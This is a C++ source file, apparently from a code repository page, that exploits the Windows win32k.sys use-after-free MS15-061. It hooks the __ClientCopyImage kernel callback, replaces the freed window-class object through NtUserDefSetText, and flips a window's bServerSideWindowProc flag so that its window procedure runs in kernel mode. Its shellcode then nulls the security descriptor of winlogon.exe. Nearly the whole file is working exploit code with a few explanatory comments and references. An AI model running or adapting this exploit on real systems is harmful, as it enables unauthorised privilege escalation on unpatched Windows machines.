456 lines
11 KiB
C++
456 lines
11 KiB
C++
#include <windows.h>
|
||
#include<stdio.h>
|
||
/*
|
||
|
||
Exploiting MS15-061 with reverse engineering Win32k.sys by
|
||
|
||
steps :
|
||
|
||
1: hook PEB callback Function
|
||
2: trigger vulnerability ( make proper Window to lead vulnerable function)
|
||
3: replace fake object with NtUserDefSetText in Desktop heap inside PEB callback
|
||
4: fake object with save exit buffer(0x0c0c0c0c) and pointer to tagWND
|
||
5: do it until bServerSideWindowProc is set
|
||
|
||
mail : Firozimaysam@gmail.com
|
||
twitter : https://twitter.com/R00tkitSMM
|
||
|
||
*/
|
||
// TODO: check OS version , Code refactoring
|
||
/*
|
||
|
||
ref:
|
||
https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2015/08/2015-08-27_-_ncc_group_-_exploiting_ms15_061_uaf_-_release.pdf
|
||
http://www.mista.nu/research/mandt-win32k-slides.pdf
|
||
https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/
|
||
|
||
*/
|
||
typedef struct _HANDLEENTRY{
|
||
PVOID phead;
|
||
ULONG pOwner;
|
||
BYTE bType;
|
||
BYTE bFlags;
|
||
WORD wUniq;
|
||
}HANDLEENTRY,*PHANDLEENTRY;
|
||
|
||
typedef struct _SERVERINFO{
|
||
DWORD dwSRVIFlags;
|
||
DWORD cHandleEntries;
|
||
WORD wSRVIFlags;
|
||
WORD wRIPPID;
|
||
WORD wRIPError;
|
||
|
||
|
||
}SERVERINFO,*PSERVERINFO;
|
||
|
||
typedef struct _SHAREDINFO{
|
||
PSERVERINFO psi;
|
||
PHANDLEENTRY aheList;
|
||
ULONG HeEntrySize; // Win7 - not present in WinXP?
|
||
ULONG_PTR pDispInfo;
|
||
ULONG_PTR ulSharedDelta;
|
||
ULONG_PTR awmControl; // Not in XP
|
||
ULONG_PTR DefWindowMsgs; // Not in XP
|
||
ULONG_PTR DefWindowSpecMsgs; // Not in XP
|
||
}SHAREDINFO,*PSHAREDINFO;
|
||
|
||
|
||
void* Get__Win32ClientInfo()
|
||
{
|
||
/*
|
||
+0x1d4 GdiTebBatch : _GDI_TEB_BATCH
|
||
+0x6b4 RealClientId : _CLIENT_ID
|
||
+0x6bc GdiCachedProcessHandle : Ptr32 Void
|
||
+0x6c0 GdiClientPID : Uint4B
|
||
+0x6c4 GdiClientTID : Uint4B
|
||
+0x6c8 GdiThreadLocalInfo : Ptr32 Void
|
||
+0x6cc Win32ClientInfo : [62] Uint4B
|
||
*/
|
||
void* address=NULL;
|
||
__asm
|
||
{
|
||
mov eax,dword ptr fs:[00000018h] // eax=TEB
|
||
mov eax,dword ptr [eax+0x6cc] // Win32ClientInfo
|
||
mov address,eax;
|
||
}
|
||
|
||
return address;
|
||
}
|
||
|
||
|
||
CHAR originalCLS[0x5c+2];
|
||
|
||
HWND GetKernelHandle(HWND hwnd)
|
||
{
|
||
HWND kernelWindowHandle;
|
||
ULONG i;
|
||
HMODULE hUser32;
|
||
PSHAREDINFO pSharedInfo;
|
||
PSERVERINFO pServerInfo;
|
||
HANDLEENTRY *UserHandleTable;
|
||
|
||
pSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32.dll"), "gSharedInfo");
|
||
if (pSharedInfo == NULL)
|
||
{
|
||
printf("[-] Unable to locate SharedInfo");
|
||
return NULL;
|
||
} else {
|
||
printf("[*] SharedInfo @ %#p\r\n", pSharedInfo);
|
||
}
|
||
|
||
UserHandleTable = pSharedInfo->aheList;
|
||
printf("[*] aheList @ %#p\r\n", UserHandleTable);
|
||
|
||
pServerInfo = pSharedInfo->psi;
|
||
printf("[*] pServerInfo @ %#p\r\n", pServerInfo);
|
||
printf("[*] Handle Count: %d\r\n", pServerInfo->cHandleEntries);
|
||
// printf("User Delta 0x%p\r\n", pSharedInfo->ulSharedDelta); Not used
|
||
|
||
for(i = 0; i < pServerInfo->cHandleEntries; i++ )
|
||
{
|
||
__try
|
||
{
|
||
//
|
||
kernelWindowHandle = (HWND)(i | (UserHandleTable[i].wUniq << 0x10));
|
||
if( kernelWindowHandle == hwnd )
|
||
{
|
||
kernelWindowHandle = (HWND)UserHandleTable[i].phead;
|
||
printf("[+] Kernel Window Handle found @ %#p\r\n", kernelWindowHandle);
|
||
return kernelWindowHandle;
|
||
}
|
||
}
|
||
__except(EXCEPTION_EXECUTE_HANDLER) {}
|
||
}
|
||
|
||
return NULL;
|
||
}
|
||
|
||
VOID ArbDecByOne(DWORD addr){
|
||
|
||
*(DWORD *)(originalCLS + 0x58) = addr - 0x4;
|
||
|
||
}
|
||
|
||
typedef struct _LARGE_UNICODE_STRING {
|
||
ULONG Length;
|
||
ULONG MaximumLength : 31;
|
||
ULONG bAnsi : 1;
|
||
PWSTR Buffer;
|
||
} LARGE_UNICODE_STRING, *PLARGE_UNICODE_STRING;
|
||
|
||
VOID RtlInitLargeUnicodeString(
|
||
PLARGE_UNICODE_STRING plstr,
|
||
LPCWSTR psz,
|
||
UINT cchLimit)
|
||
{
|
||
ULONG Length;
|
||
|
||
plstr->Buffer = (PWSTR)psz;
|
||
plstr->bAnsi = FALSE;
|
||
if ( psz!=NULL) {
|
||
Length = wcslen( psz ) * sizeof( WCHAR );
|
||
plstr->Length = min(Length, cchLimit);
|
||
plstr->MaximumLength = min((Length + sizeof(UNICODE_NULL)), cchLimit);
|
||
} else {
|
||
plstr->MaximumLength = 0;
|
||
plstr->Length = 0;
|
||
}
|
||
}
|
||
|
||
|
||
__declspec(naked) BOOL NTAPI NtUserDefSetText(
|
||
IN HWND hwnd,
|
||
IN PLARGE_UNICODE_STRING pstrText OPTIONAL
|
||
)
|
||
{
|
||
__asm
|
||
{
|
||
mov eax, 116Dh
|
||
mov edx, 7FFE0300h
|
||
call dword ptr [edx]
|
||
retn 8
|
||
}
|
||
}
|
||
|
||
|
||
//the Window Procedure
|
||
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
||
{
|
||
|
||
return DefWindowProc(hwnd, msg, wParam, lParam);
|
||
}
|
||
|
||
void* kernelHandle;
|
||
__declspec(noinline) int Shellcode()
|
||
{
|
||
//return MessageBoxA(NULL,"Boom","boom",0);
|
||
__asm {
|
||
mov eax, kernelHandle // WND - Which window? Check this
|
||
mov eax, [eax+8] // THREADINFO
|
||
mov eax, [eax] // ETHREAD
|
||
mov eax, [eax+0x150] // KPROCESS
|
||
mov eax, [eax+0xb8] // flink
|
||
procloop:
|
||
lea edx, [eax-0xb8] // KPROCESS
|
||
mov eax, [eax]
|
||
add edx, 0x16c // module name
|
||
cmp dword ptr [edx], 0x6c6e6977 // “winl” for winlogon.exe
|
||
jne procloop
|
||
sub edx, 0x170
|
||
mov dword ptr [edx], 0x0 // NULL ACL
|
||
}
|
||
}
|
||
|
||
BOOL success = FALSE;
|
||
LRESULT CALLBACK WndProc2(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
|
||
{
|
||
|
||
WORD um=0;
|
||
__asm
|
||
{
|
||
mov ax, cs
|
||
mov um, ax
|
||
}
|
||
if(um == 0x1b)
|
||
{
|
||
// USER MODE
|
||
} else
|
||
{
|
||
success=TRUE;
|
||
DebugBreak();
|
||
|
||
Shellcode();
|
||
}
|
||
|
||
return DefWindowProc(hwnd, msg, wParam, lParam);
|
||
}
|
||
|
||
HWND Secondhwnd[50];
|
||
int SecondWindowIndex=1;
|
||
void CreateSecondWindow()
|
||
{
|
||
WNDCLASSEX wc;
|
||
const WCHAR g_szClassName[] = L"SecondClass";
|
||
|
||
//Step 1: Registering the Window Class
|
||
wc.cbSize = sizeof(WNDCLASSEX);
|
||
wc.style = 0;
|
||
wc.lpfnWndProc = WndProc2;
|
||
wc.cbClsExtra = 0;
|
||
wc.cbWndExtra = 0;
|
||
wc.hInstance = NULL;
|
||
wc.hIcon = LoadIcon(NULL,IDI_QUESTION);
|
||
wc.hCursor = LoadCursor(NULL, IDI_QUESTION);
|
||
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
|
||
wc.lpszMenuName = NULL;
|
||
wc.lpszClassName = g_szClassName;
|
||
wc.hIconSm = LoadIcon(NULL,IDI_QUESTION);
|
||
|
||
if(!RegisterClassExW(&wc))
|
||
{
|
||
return ;
|
||
}
|
||
|
||
for ( int i=0;i<50;i++)
|
||
{
|
||
Secondhwnd[i] = CreateWindowEx(
|
||
WS_EX_CLIENTEDGE,
|
||
g_szClassName,
|
||
L"The title of my window",
|
||
WS_OVERLAPPEDWINDOW,
|
||
CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,
|
||
NULL, NULL, NULL, NULL);
|
||
|
||
if(Secondhwnd[i] == NULL)
|
||
{
|
||
|
||
return ;
|
||
}
|
||
}
|
||
}
|
||
|
||
const WCHAR g_szClassName[] = L"MS15-061";
|
||
HWND hwnd;
|
||
HINSTANCE hInstance2;
|
||
typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p);
|
||
pUser32_ClientCopyImage g_originalCCI;
|
||
void* __ClientCopyImageAddress;
|
||
|
||
|
||
|
||
NTSTATUS NTAPI hookCCI(PVOID p)
|
||
{
|
||
|
||
LARGE_UNICODE_STRING plstr;
|
||
// free WND object
|
||
DestroyWindow(hwnd);
|
||
UnregisterClassW(g_szClassName,NULL);
|
||
|
||
|
||
|
||
/*
|
||
.text:BF89EA6D push edx
|
||
.text:BF89EA6E call _xxxClientCopyImage@20 ; xxxClientCopyImage(x,x,x,x,x)
|
||
.text:BF89EA73 lea esi, [edi+58h] ------->>>> replace edi memeory with NtUserDefSetText
|
||
.text:BF89EA76 mov edx, eax
|
||
.text:BF89EA78 mov ecx, esi
|
||
.text:BF89EA7A call @HMAssignmentLock@8 ; HMAssignmentLock(x,x)
|
||
|
||
*/
|
||
|
||
|
||
|
||
DebugBreak();
|
||
RtlInitLargeUnicodeString(&plstr,(WCHAR*)originalCLS, (UINT)-1);
|
||
NtUserDefSetText(Secondhwnd[SecondWindowIndex],&plstr);
|
||
SecondWindowIndex+=1;
|
||
return g_originalCCI(p);
|
||
}
|
||
|
||
|
||
void* Get__ClientCopyImageAddressInPEB()
|
||
{
|
||
void* address=NULL;
|
||
__asm
|
||
{
|
||
mov edx , 0xD8; // 0x36 *4 -> API index *4 number for __ClientCopyImage
|
||
mov eax,dword ptr fs:[00000018h] // eax=TEB
|
||
mov eax,dword ptr [eax+30h] // EAX=PEB
|
||
mov eax,dword ptr [eax+2Ch] // EAX=KernelCallbackTable
|
||
add eax,edx
|
||
mov address,eax;
|
||
int 3
|
||
|
||
}
|
||
|
||
return address;
|
||
}
|
||
|
||
|
||
|
||
void init()
|
||
{
|
||
DWORD prot;
|
||
|
||
LoadLibraryA("user32.dll");
|
||
CreateSecondWindow();
|
||
|
||
void* lpvBase = VirtualAlloc(
|
||
(void*)0x0c0c0c0c, // System selects address
|
||
2048, // Size of allocation
|
||
MEM_RESERVE|MEM_COMMIT, // Allocate reserved pages
|
||
PAGE_READWRITE); // Protection = no access
|
||
|
||
|
||
/*
|
||
for save exit : i used trick like Browser Fake vTable :
|
||
allocate 0x0c0c0c0c address and fill tagWND with 0x0c0c0c0c
|
||
so every dereference will loop in 0x0c0c0c0c
|
||
|
||
*/
|
||
memset(lpvBase,'\x0c',2048);
|
||
|
||
memset(originalCLS,0,0x5c+2);
|
||
memset(originalCLS,'\x0c',0x5c);
|
||
|
||
|
||
/*
|
||
+0x014 bForceMenuDraw : Pos 15, 1 Bit
|
||
+0x014 bDialogWindow : Pos 16, 1 Bit
|
||
+0x014 bHasCreatestructName : Pos 17, 1 Bit
|
||
+0x014 bServerSideWindowProc : Pos 18, 1 Bit
|
||
+0x014 bAnsiWindowProc : Pos 19, 1 Bit
|
||
*/
|
||
|
||
kernelHandle=GetKernelHandle(Secondhwnd[0]);
|
||
ArbDecByOne((DWORD)kernelHandle+0x14); //
|
||
|
||
__ClientCopyImageAddress=Get__ClientCopyImageAddressInPEB();
|
||
printf("address of __ClientCopyImage is %x \r\n",__ClientCopyImageAddress);
|
||
|
||
if (!VirtualProtect(__ClientCopyImageAddress, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot))
|
||
{
|
||
return ;
|
||
}
|
||
g_originalCCI =(pUser32_ClientCopyImage) InterlockedExchangePointer(__ClientCopyImageAddress, &hookCCI);
|
||
|
||
|
||
}
|
||
int main()
|
||
{
|
||
WNDCLASSEX wc;
|
||
int x;
|
||
MSG Msg;
|
||
|
||
//Step 1: Registering the Window Class
|
||
wc.cbSize = sizeof(WNDCLASSEX);
|
||
wc.style = 0;
|
||
wc.lpfnWndProc = WndProc;
|
||
wc.cbClsExtra = 0;
|
||
wc.cbWndExtra = 0;
|
||
wc.hInstance = NULL;
|
||
wc.hIcon = NULL; // bypass check inside xxxSetClassIcon to lead execution path to callback
|
||
wc.hCursor = NULL; // bypass check inside xxxSetClassIcon to lead execution path to callback
|
||
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
|
||
wc.lpszMenuName = NULL;
|
||
wc.lpszClassName = g_szClassName;
|
||
wc.hIconSm = NULL; // bypass "if" inside xxxSetClassIcon to lead execution path to callback
|
||
|
||
init();
|
||
|
||
/*
|
||
|
||
|
||
.text:BF91B33C mov edi, [ebp+pclsBase]
|
||
..............
|
||
..............
|
||
.text:BF91B346 mov eax, [edi+58h]
|
||
.text:BF91B349 cmp eax, [ebp+arg_8] ; new and old icon must be diffrent
|
||
.text:BF91B34C jz loc_BF91B42C ----------->>> we need bypass this
|
||
..............
|
||
..............
|
||
.text:BF91B396 loc_BF91B396: ; CODE XREF: xxxSetClassIcon(x,x,x,x)+68j
|
||
.text:BF91B396 lea esi, [edi+58h] ; EDI
|
||
.text:BF91B399 mov ecx, esi
|
||
.text:BF91B39B mov edx, [ebp+arg_8]
|
||
.text:BF91B39E call @HMAssignmentLock@8 ; HMAssignmentLock(x,x)
|
||
.text:BF91B3A3 cmp dword ptr [edi+44h], 0
|
||
.text:BF91B3A7 jz short loc_BF91B3B4 ---------->>> we need bypass this
|
||
.text:BF91B3A9 cmp dword ptr [esi], 0
|
||
.text:BF91B3AC jnz short loc_BF91B3B4 ---------->>> we need bypass this
|
||
.text:BF91B3AE push edi
|
||
.text:BF91B3AF call _xxxCreateClassSmIcon@4 ; xxxCreateClassSmIcon(x)
|
||
|
||
*/
|
||
|
||
do
|
||
{
|
||
if(!RegisterClassExW(&wc))
|
||
{
|
||
return 0;
|
||
}
|
||
|
||
// Step 2: Creating the Window
|
||
hwnd = CreateWindowEx(
|
||
WS_EX_CLIENTEDGE,
|
||
g_szClassName,
|
||
L"The title of my window",
|
||
WS_OVERLAPPEDWINDOW,
|
||
CW_USEDEFAULT, CW_USEDEFAULT, 240, 120,
|
||
NULL, NULL, NULL, NULL);
|
||
|
||
if(hwnd == NULL)
|
||
{
|
||
return 0;
|
||
}
|
||
|
||
ShowWindow(hwnd, NULL);
|
||
UpdateWindow(hwnd);
|
||
//Triger UserMode CallBack
|
||
SetClassLongPtr(hwnd, GCLP_HICON, (LONG_PTR)LoadIcon(NULL, IDI_QUESTION));
|
||
|
||
SendMessageW(Secondhwnd[0], WM_NULL, NULL, NULL);
|
||
}while(!success);
|
||
|
||
}
|